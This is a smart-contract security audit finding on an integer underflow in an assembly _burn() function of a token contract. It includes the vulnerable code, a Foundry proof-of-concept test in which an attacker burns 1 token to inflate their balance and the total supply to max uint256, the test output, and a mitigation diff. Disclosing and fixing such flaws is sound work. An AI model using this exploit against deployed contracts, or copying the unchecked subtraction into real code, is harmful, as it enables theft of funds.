Root + Impact
Description
-
The _burn() function should decrease an account's balance and the total supply by the specified amount. If the account has insufficient balance, the function should revert to prevent invalid state changes.
-
The assembly implementation uses unchecked sub() operations without validating that the account balance is sufficient. When sub(0, 1) executes in assembly, it wraps around to 115792089237316195423570985008687907853269984665640564039457584007913129639935 instead of reverting. Both the account balance and total supply underflow simultaneously, granting the attacker effective control of unlimited tokens.
function _burn(address account, uint256 value) internal {
assembly ("memory-safe") {
if iszero(account) {
mstore(0x00, shl(224, 0x96c6fd1e))
mstore(add(0x00, 4), 0x00)
revert(0x00, 0x24)
}
let ptr := mload(0x40)
let balanceSlot := _balances.slot
let supplySlot := _totalSupply.slot
let supply := sload(supplySlot)
@> sstore(supplySlot, sub(supply, value))
mstore(ptr, account)
mstore(add(ptr, 0x20), balanceSlot)
let accountBalanceSlot := keccak256(ptr, 0x40)
let accountBalance := sload(accountBalanceSlot)
@> sstore(accountBalanceSlot, sub(accountBalance, value))
}
}
Risk
Likelihood:
-
The burn() function is publicly accessible through the Token contract wrapper, allowing any user to call it on any address without restrictions.
-
The exploit requires a single transaction with minimal gas cost and no preconditions, making it trivially executable by any attacker within seconds of contract deployment.
Impact:
-
Complete token supply inflation to maximum uint256 value destroys all token economic value, making existing holder balances worthless through infinite dilution.
-
Attacker gains unlimited tokens to dump on any DEX or protocol, stealing all liquidity and causing immediate protocol insolvency.
Proof of Concept
pragma solidity ^0.8.24;
import {Test, console} from "forge-std/Test.sol";
import {Token} from "./Token.sol";
contract BurnUnderflowTest is Test {
Token public token;
address public attacker;
function setUp() public {
token = new Token();
attacker = makeAddr("attacker");
}
function test_BurnUnderflowInflatesTotalSupply() public {
console.log("Initial totalSupply:", token.totalSupply());
assertEq(token.totalSupply(), 0);
vm.prank(attacker);
token.burn(attacker, 1);
uint256 finalSupply = token.totalSupply();
console.log("Final totalSupply after underflow:", finalSupply);
assertEq(finalSupply, type(uint256).max);
console.log("Vulnerability confirmed: Total supply inflated to max uint256");
}
function test_BurnUnderflowInflatesAccountBalance() public {
console.log("Initial attacker balance:", token.balanceOf(attacker));
assertEq(token.balanceOf(attacker), 0);
vm.prank(attacker);
token.burn(attacker, 1);
uint256 finalBalance = token.balanceOf(attacker);
console.log("Final attacker balance after underflow:", finalBalance);
assertEq(finalBalance, type(uint256).max);
console.log("Vulnerability confirmed: Account balance inflated to max uint256");
}
}
Result:
forge test --match-path test/BurnUnderflow.t.sol -vvv
[⠒] Compiling...
[⠊] Compiling 1 files with Solc 0.8.31
[⠒] Solc 0.8.31 finished in 288.39ms
Compiler run successful with warnings:
Warning (3805): This is a pre-release compiler version, please do not use it in production.
Ran 2 tests for test/BurnUnderflow.t.sol:BurnUnderflowTest
[PASS] test_BurnUnderflowInflatesAccountBalance() (gas: 66584)
Logs:
Initial attacker balance: 0
Final attacker balance after underflow: 115792089237316195423570985008687907853269984665640564039457584007913129639935
Vulnerability confirmed: Account balance inflated to max uint256
[PASS] test_BurnUnderflowInflatesTotalSupply() (gas: 64403)
Logs:
Initial totalSupply: 0
Final totalSupply after underflow: 115792089237316195423570985008687907853269984665640564039457584007913129639935
Vulnerability confirmed: Total supply inflated to max uint256
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 2.46ms (190.03µs CPU time)
Ran 1 test suite in 44.74ms (2.46ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)
Recommended Mitigation
Add a balance sufficiency check before performing the subtraction operations. This prevents underflow by reverting when the account balance is less than the burn amount, matching the behavior of the _transfer() function.
function _burn(address account, uint256 value) internal {
assembly ("memory-safe") {
if iszero(account) {
mstore(0x00, shl(224, 0x96c6fd1e))
mstore(add(0x00, 4), 0x00)
revert(0x00, 0x24)
}
let ptr := mload(0x40)
let balanceSlot := _balances.slot
let supplySlot := _totalSupply.slot
- let supply := sload(supplySlot)
- sstore(supplySlot, sub(supply, value))
mstore(ptr, account)
mstore(add(ptr, 0x20), balanceSlot)
let accountBalanceSlot := keccak256(ptr, 0x40)
let accountBalance := sload(accountBalanceSlot)
+
+
+ if lt(accountBalance, value) {
+ mstore(0x00, shl(224, 0xe450d38c))
+ mstore(add(0x00, 4), account)
+ mstore(add(0x00, 0x24), accountBalance)
+ mstore(add(0x00, 0x44), value)
+ revert(0x00, 0x64)
+ }
+
+ let supply := sload(supplySlot)
+ sstore(supplySlot, sub(supply, value))
sstore(accountBalanceSlot, sub(accountBalance, value))
}
}